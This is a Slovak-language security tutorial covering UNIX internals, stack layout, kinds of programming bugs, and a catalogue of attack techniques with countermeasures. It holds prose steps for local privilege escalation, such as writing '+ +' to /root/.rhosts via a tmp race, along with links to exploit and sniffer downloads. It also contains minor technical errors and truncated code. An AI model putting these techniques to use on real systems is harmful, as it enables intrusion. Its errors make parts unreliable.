Historia UNIXu
Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach. Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson, M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku "C". To mu umoznovalo velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10. Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre nevyuzitu PDP7-cku.
Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake - system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii. K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev. System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) - je preemptivny. Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).
Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq) pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva). Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.
Strojovy jazyk, jazyk symbolickych adries (assembler)
Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany. Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami. Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor na najnizsej urovni nemusel pracne pisat program v strojovom kode, bol vyvinuty jazyk symbolickych adries - assembler. V tomto jazyku mozme pisat program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom. Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy. Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov). V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255, teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator pretecenia (CF - Carry Flag). Toto je vlastne uplne najjednoduchsi priklad pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime. U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov. Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku - tj. integer nebo cast overflow), ktorej vysledok presiahne moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat aj o blokovu operaciu vyuzivajucu buffer - tu sa potom hovori o tzv buffer overflow (pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.
Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu na terminal - printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady sa budu tykat architektury linux/i386 pokial nebude uvedene inac.
Dump of assembler code for function main:0x80483e4 : push %ebp - ulozit puvodni ebp0x80483e5
Jazyk C
Jazyk C bol vyvinuty ako UNIX tiez v AT&T Bell Labs. Jeho tvorcom bol v roku 1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne nizkej, aby mohol programator pisat velmi efektivny kod. Programator je zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate. Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc). Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou. Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack overflows) zaoberaju prave dynamickymi poliami.
V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne. Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.
Priklad programu scitania (zhodny s programom v assembleri):
/pr.0x3.1/#include - nacitanie hlavickoveho suboru obsahujucu funkciu printfmain() - vstup do programu - funkcia main{ int a,b,c; - definovanie datoveho typu pre premenne a,b,c a = 2; - priradenie hodnoty premennej a b = 3; - priradenie hodnoty premennej b c = a + b ; - vysledok scitania premennej a s premennou b sa ulozi do premennej c printf("%d + %d = %d\n",a,b,c); - vypise sa vysledok}
UNIXove procesy a zasobnik (stack)
Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny na tri oblasti: text, data a stack. Na zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako inicializovane data, pricom oblast textu zaberie najnizsiu adresu (najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h). V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat, beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami v neinicializovanom regione.
Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor. Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie (segmentation violation). Toto je rozdiel oproti datovej a stack oblasti, ktore su zapisovatelne a su samostatne pre kazdy proces.
Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).
0xFFF00000 +-------------------------------+(vysoke adresy) | zasobnik jadra pre procesy | +-------------------------------+ | cervena zona | +-------------------------------+ | uzivatelska oblast | +-------------------------------+ | ps_retazce struktura | +-------------------------------+ | signalizacny kod | +-------------------------------+ - - | premenne prostredia | \ +-------------------------------+ \ | argv retazce | \ +-------------------------------+ | pointre prostredia | argumenty prikazoveho riadku +-------------------------------+ a premenne shellu | argv pointre | / +-------------------------------+ / | argc | / +-------------------------------+ - - | uzivatelsky zasobnik | | | | | V | | | | | | | | ^ | | | | | kopa (heap) | +-------------------------------+ +-----------------------+ | bss | | tabulka znakov | +-------------------------------+ - - - - - - - +-----------------------+ | inicializovane data | | inicializovane data | +-------------------------------+ - - - - - - - +-----------------------+0x00000000 | text | | text |(nizke adresy) +-------------------------------+ - - - - - - - +-----------------------+ proces v pamati | | | hlavicka linkeru | | a magicke cislo | | | +-----------------------+ subor na disku.
Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami zasobnika sa pracuje systemom LIFO (Last In, First Out).
Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura 'uvod' alebo 'zaver', ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:
/pr.0x4.1/ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }
V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:
/pr.0x4.2/ pushl $3 ; uloz argument 3 pre function() pushl $2 ; uloz argument 2 pre function() pushl $1 ; uloz argument 1 pre function() call function ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika
Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika a program bude pokracovat na danej adrese.
Prva vec, ktora sa udeje vo funkcii je procedura 'uvod':
/pr.0x4.3/ pushl %ebp ; uloz frame pointer na zasobnik (sfp = saved frame pointer) movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeru
Najprv sa frame pointer - EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP, cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura 'zaver' vyberie alokovat miesto pre lokalne premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu) to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1 pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov). Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu velkost slova na Intel x86 procesoroch.
Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:
+-----------------------+ |,,,,,,,argc,,,,,,,,,,,,| +=======================+ |..uzivatelsky.zasobnik.| +-----------------------+ | c | +-----------------------+ | b | +-----------------------+ | a | +-----------------------+ | ret | +-----------------------+ | sfp | +-----------------------+ | buffer1 | +-----------------------+ | buffer2 | +-----------------------+ |.......heap............| +=======================+ |,,,,,,,bss,,,,,,,,,,,,,| +-----------------------+
Programatorske chyby
Historia zneuzivania programatorskych chyb.
Najznamejsie pripady zneuzitia buffer overrunov
1987 Robert Tappan Morris : Internet Worm (blizsie info RFC 1135) Zneuzitim dier v sendmaile a fingerd bola prerusena prevadzka velkej casti internetu.
1995 Kevin Mitnick vs Tsutomu Shimomura (blizsie info http://www.takedown.com) Suboj asi najznamejsieho hackera/crackera a specialistu na bezpecnost v IT.
Druhy programatorskych chyb
Fandango on Core
V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady, kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier. Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny od Spanielskeho tanca ;-).
Overruns screw
Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so zakladych prvkov pri stack smashing utoku.
Smashing, Trashing, Scribbing the Stack
Variacia overrun screw, vznikne zapisom za koniec definovaneho pola, kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni vstup velkym mnozstvom dat, co prepise pevne definovany buffer.
Aliasing, Stale, Dangling Pointer Bugs
Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer, alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate. Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal moze vzniknut neprijemny problem - nespojitost, alebo strata dat.
Bohr Bug
Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.
Heisenbug
Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu). Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi, alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug, alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing. Tento vyraz je odvodeny z kvantovej fyziky.
Mandelbug
Chyba, ktorej prejav je prilis zlozity az nedeterministicky. Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.
Schroeding Bug
Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila az pri neplanovanom vyuziti programu - nestandartny vstup, alebo podmienky behu.
Precedence loosage
V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich prioritou, resp. poradim vykonania.
Memory leak, Core leak (presakovanie pamate)
Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.
Deadlock
Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim opat na nieco caka (napriklad na vykonanie uz cakajuceho programu). Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.
Utocnicke techniky
Exploit
Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom programe za ucelom ziskania privilegii, na ktore nemame opravnenie. Exploity mozu byt lokalne - na ich spustenie musime mat uzivatelsky ucet na cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti. Dalej sa moze jednat o tmp-race - ked program s vyssimi privilegiami pri svojom behu pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov. Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky), resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit retazec '+ +', alebo precitat systemovy shadow subor. Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem. Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne kontroluje vstup (jeho velkost, esc sekvencie).
Priklad
Exploitov existuje mnozstvo, takmer kazda sietova aplikacia alebo SUID program mal v minulosti nejaku dieru a pravdepodobne existuje exploit prave na tu deravu verziu. Tak isto aj autorov exploitov existuje nespocet. Z najznamejsich by som mohol menovat skupiny ako ADM (http://adm.freelsd.net), w00w00 (http://www.w00w00.org), TESO (http://teso.scene.at), GOBBLES (http://www.bugtraq.org). Z jednotlivcom napriklad Michal Zalewski (http://lcamtuf.coredump.cx/), dugsong (http://www.monkey.org/~dugsong/) a naozaj velmi vela dalsich.
Linux 2.2.0 -> 2.4.9 ptrace exploit http://hysteria.sk/sd/f/exploits/ptrace24.c
Qpop 2.4 remote exploit http://www.monkey.org/~dugsong/
Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je alebo nieje program suid rozhoduje priznak suboru - suid bit. Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta. V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.
Priklad
Screen3.9.11 local root exploit (24.4.2002) http://packetstorm.dnsi.info/0204-exploits/screen-stuff.tgz
SGI security advisory - Suidperl BOF http://packetstormsecurity.org/advisories/sgi/sgi.19980404-01-i.suidperl
Ochrana
minimalne mnozstvo suid (root) programov a aj to len pre uzivatelov, ktory ich nutne potrebuju
najdeme ich takto: find / -user root -perm -004000 -ls
pouzivanie preverenych suid programov (open source, aktualna verzia)
primountovanie filesystemov ako /home, /var a pod. s parametrem no-suid, takze suid bit ztraci svuj zadany efekt (napr. super-user shelly hackery tam zanechane postradaji na funkcnosti ;-)
Sniffinig
Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu. Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.
Priklad
hunt je sniffer/interceptor do switchovaneho prostredia http://packetstormsecurity.org/sniffers/hunt/hunt-1.5.tgz
ettercap tiez ako hunt http://packetstormsecurity.org/sniffers/ettercap/ettercap-0.6.5.tar.gz
dsniff pozna casto pouzivane protokoly (pop3,ftp,telnet,stmp..) a uklada hesla/data v prehladych suboroch
Ochrana
jadro posle hlasku o prepnuti do/z promisc rezimu do syslogu
detekcia promisc karty na sieti - mozte zistit, ze pri vasej komunikacii sa nejaky dalsi stroj sa snazi resolvovat reverzne dns zaznamy vami kontaktovanych IP adries
pouzivanie switchov miesto hubov
utility ako antisniff a podobne
kryptovat vsetku moznu komunikaciu
pouzivat hesla obsahujuce nezobrazitelne znaky
Spoofing
Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici, ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu. Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.
Ochrana
Pouzivat firewallovacie pravidla, ktore znemoznuju prichod packetu z internej siete cez vonkajsi interface.
ISP by mali filtrovat svoj odchodzi traffic aby sa von dostali len packety z vlastneho rozsahu
Ak je to mozne, tak akceptovat len spojenia vytvorene vasou stanicou
ARP-poisoning
Tato technika sa pouziva v prepinanom prostredi (switch)
Utocnik posiela falosne arp-reply packety inemu pocitacu/routru. Dosiahne tym, ze traffic urceny pre iny pocitac bude smerovany na jeho MAC adresu a samozrejme aj na jeho port vo switchi akoby bol urceny priamo jemu.
Ochrana
MAC security na switchi zabrani jenej IP adrese objavovat sa na roznych portoch v kratkom casovom intervale
Staticke zaznamy v ARP tabulke
DNS-spoofing
Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako dns server a zna ID query (napr hore spominany sniffing, nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho zdroje.
Ochrana
dnssec - system checksumovania requestov/responsov
DNS-poisoning
Utocnikov DNS server s odpovedou na request posle aj 'otraveny' zaznam o inej domene, ktory dns server obete poslusne zaradi do svojej dns-cache
Ochrana
pouzivat najnovsie verzie dns servrov/resolverov Flood
Zahltenie linky obete (DoS - Denial of Service)
moze byt bud trafficovy (velke mnozstvo dat)
alebo packetovy (velke mnozstvo malych packetov), takyto utok spolahlivo odrovna routre s poddimenzovanymi CPU (napriklad Cisco)
Ochrana
blokovat broadcasty - tie funguju ako zosilnovace/nasobice trafficu pouzivane pri floodoch
DDoS
Distributed Denial of Service - obdoba floodu, ale utok prevadza velka skupina utociacich pocitacov proti jednemu cielu
Trinoo/Strachelwald/TNF2K
Jedna sa asi o najzakernejsiu verziu DoS, proti ktorej neexistuje rychla a efektivna ochrana
Casto sa stava ze polozi nielen cielenu stanicu, ale aj celeho ISP a tento stav trva az pokial to utocnika neprestane bavit ):)
Ochrana
jediny sposob ochrany je zablokovat na vsetkych vstupoch do siete ISP packety ktore sa daju nejakym sposobom identifikovat, ze patria k floodu. Vacsinou je to zial len identifikacia podla cielovej adresy, co znamena, ze obet nebude fungovat pocas doby kym je zavedeny filter u ISP.
Virusy
po spusteni napadaju spustitelne subory (nebo systemove casti disku a disket, nebo treba makra word dokumentu), cim sa replikuju
na sieti sa siria pomocou zkopirovania na iny pocitac za pomoci uzivatela/cerva
nedestruktivne virusy nam zaberaju systemove prostriedky
destruktivne virusy su obzvlast nebezpecne, nicia uzivatelske data a casto aj system, dokonca sa objavili virusy ako CIH, ktore dokazali prepisat FLASH BIOS na niektorych pocitacoch a tym sposobit problem, ktory by sa dal nazvat hardwaroveho charakteru..
spionazne - zpristupnia Vase data nepovolanym ludom (mailom/inym sposobom ce internet)
Ochrana
nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0
Cervy
po spusteni sa siria na dalsie hostitelske pocitace pomocou remote exploitov nebo blbosti uzivatelu (treba stupid-click-on-me IloveYou)
priklad - Morrisov Internet Worm
velmi nebezpecnym virusom by mohol byt Seiheim, ktory mal byt vytvoreny Michalom Zalewskim, ten mal pracovat s online databazou exploitov, vediet samostatne mutovat, nedeterministicky sa zamaskovat, vyckat urcity cas a znova pokracovat vo svojej cinnosti. Taktiez mal byt nezavisly na platforme. Nastastie zatial nebol naprogramovany, takze mozme kludne spavat ;-) (no, to zase ne. mnoho lidi, i v .cz/.sk si s myslenkou podobnou shammhainu (ale jeste vic featured nes shammhain) stale pohrava ... pozn. -sd)
Ochrana
mat system v aktualnej verzii a bezat len naozaj potrebne sluzby
tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0
Trojske kone
po spusteni otvoria zadne vratka na pocitaci obete, zvycajne o tom informuju utocnika pomocou emailu/irc/ftp/www alebo nejakeho specialneho packetu
ako vhodny priklad sa daju uviest vo windowsovom prostredi oblubene NTBUS alebo BackOrrifice
Ochrana
tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0
MiM attack
Man In The Middle utok je realizovatelny v tedy, ked je utocnik schopny sledovat traffic (tok dat) medzi obetou a adresou, s ktorou obet komunikuje. Utocnik vstupi do tejto komunikacie s adresou obete, tvariac sa, ze komunikacia normalne pokracuje dalej. Samozrejme musi zabezpecit, aby sa obet uz neozyvala, to by narusovalo ukradnutu session (napriklad telnet). Preto moze utocnik pouzit niektory z DOS utokov na umlcanie obete.
Ochrana
pouzivat sietove aplikacie, ktore pouzivaju nejaku formu kryptovania, alebo aspon checksumovania (kontrolnych suctov)
v pripade utoku kryptovane session s verejnym klicem je treba nejakym zpusobem zajistit aby server a client navzajem znali sve public key ze _zabezpeceneho_ zdroje, napr. ssh je porovnava z predchozich session.
Cross site scripting
pri pouziti dynamickych web stranok sa casto stretavame s tym, ze url obsahuje otaznik a za nim rozne premenne. Spravnym nastavenim tychto premennych je mozne zmanipulovat beh programu (napriklad zmenit meno a cestu k suboru, ktory sa ma zobrazit, zmenit tabulku v sql databaze a pod.)
include a exec lokalneho/remote programu miesto mieneneho include lokalneho datoveho suboru
Ochrana
overovanie vstupu, bezpecne nastavenie v php.ini
BindShell
program, ktory po spusteni pocuva na urcenom porte. Po pripojeni sa nan ziskame shell na pocitaci obete.
Ochrana
odfirewallovanie vsetkych portov, na ktorych nema pocuvat ziadna sluzba
Buffer Overflow
pretecenie vyrovnavacej pamate
Ochrana
decentralizovana
jednotlive aplikacie budu pisane bezpecne
kontrolovanie hranic buffra pri praci s nim
pouzivanie bezpecnych funkcii ako fgets(), strncat(), strncpy()
NEpouzivane/opatrne pouzivanie funkcii ako gets(), sprintf(), strcat(), strcpy(), streadd(), strecpy(), strtrns(), index(), fscanf(), sscanf(), vsprintf(), realpath(), getopt(), getpass()
centralizovana
systemove kniznice/jadro budu dohliadat nad bezpecnym chodom aplikacii
najjednoduchsie je pouzit maly patch na jadro systemu, ktory zaisti, ze stack nebude spustitelny toto riesenie zial velmi obmedzi chod aplikacii (prestanu fungovat 'trampolinove' funkcie) aj keby sme nastavovali executable prava na stack len ked ich potrebujeme je tu opat moznost zneuzitia. Nehlede na to ze v soucasne dobe se uz vi o mnoha technikach jak tyto kontroly obejit (call back into libc, napriklad)
OpenWall/GRsec
StackGuard
LIDS
Heap Overflow - prepsani malloc()-okovane pameti
je to obdoba stack overflowu, ale nepreplnime buffer v zasobniku ale v bss, takze je tezssi na exploitovani (v bss nejsou zpravidla adresy navratu funkci), ale v soucasne dobe to je nejcasteji nachazena a zneuzivana chyba (php, openssl, openssh ...)
Ochrana
spravne zaobchadzanie s datovymi typmi
Format String Overflow
program sa spolieha pri pracovani s premennymi na to, ze neobsahuju ziadne formatovave znaky
nespravne pouzitie : printf(variable);
Ochrana
spravne pouzitie: printf("%s", variable);
FormatGuard od Immunixu (nutne prekompilovat binarky)
Enviroment PATH attack
vela uzivatelov zvykne do premennej PATH nastavit aktualny adresar ".", co sposobi, ze napriklad v adresari /tmp mozu spustit nechtiac podvrhnuty program
Ochrana
nepridavat do premennej PATH aktualny adresar Enviroment IFS attack
IFS (Internal Field Separator) sluzi na oddelovanie slov na vstupe. V pripade ze je tato premenna nastavena na spravnu hodnotu, moze uzivatelovi sposobit, ze nechcene spusti nieco, co vobec nemal v umysle, alebo ovplyvni beh programov, ktore pouzivaju shellovske funkcie system() alebo popen().
Ochrana
pouzivat shell, ktory automaticky premennu IFS vracia do prednastaveneho stavu ()
na zaciatku vlastneho programu nastavit IFS na vychodziu hodnotu
vseobecne je vhodne vo vlastnych programoch vsetky premenne prostredia vycistit a nastavit len tie, ktore nutne potrebujeme (napriklad na volanie externeho programu/funkcie)
Utok cez mena suborov
Kedze unixove suborove systemy nemaju obmedzenia na mena suborov (okrem "/" a "0x0h") je mozne vytvorit subor, ktory zmatie prikazy ako find, xargs a podobne
Ochrana
pouzivat cerstve verzie programov
World/Group writable/readable subory
utocnik moze zmenit obsah startovacich suborov v domovskom adresari obete a tym spustit akykolvek program pod uid/gid obete, pripadne precitat meno/heslo z konfiguracie roznych programov
Ochrana
nevytvarat world writable subory (umask 022)
subory s heslami/konfiguraciou mat s umask 077
RootKit
Subor programov pomahajucich utocnikovi napadnuty stroj velmi rychlo osadit backdoormi a pripadne odstranit logy poukazujuce na utocnikovu cinnost.
Bordelizator
Skript (zvycajne perl/shell), ktory spusta cielovy program so vstupmi generovanymi podla urcenych pravidiel a snazi sa prinutit tento program, aby skolaboval. Akonahle sa to podari, je tu pravdepodobnost, ze bude mozne nan napisat buffer overflow / heap overflow exploit. Da sa vyuzit za podpory jednoducheho programu v "C", ktory nam vrati obsah registra ESP po kolapse programu. Co pouzijeme pri hadani navratovej adresy.
Ochrana
dobre napisany program overujuci vsetky vstupy a pouzivajuci bezpecne funkcie a kniznice.
Password Cracking
hadanie hesiel z jednosmerne zakryptovanych suborov (unixova funkcia crypt() vyuzivajuca zvycajne DES alebo MD5 hash
crackovat mozme bud podla slovnika, alebo skusanim vsetkych kombinacii (Brute Force attack)
Ochrana
Pouzivat silne hesla = vela znakov, pouzit male aj velke pismena, cisla a nealfanumericke znaky
Obmedzenie bezpecnostnych chyb pri programovani
Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb, ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady oznacuju ako chyby (resp. bugs).
V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke. Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu. Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom "it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".
Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne. V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024) zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel. V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.
Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.
Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program, napr. necakanym formatovanim, velkostou a podobne. Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat. Oplati sa preverit aj systemove premenne. Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().
Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(), vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns(). Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou. Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor. Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.
V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat. Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme. Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat o tom hlasenie a program ukoncit.
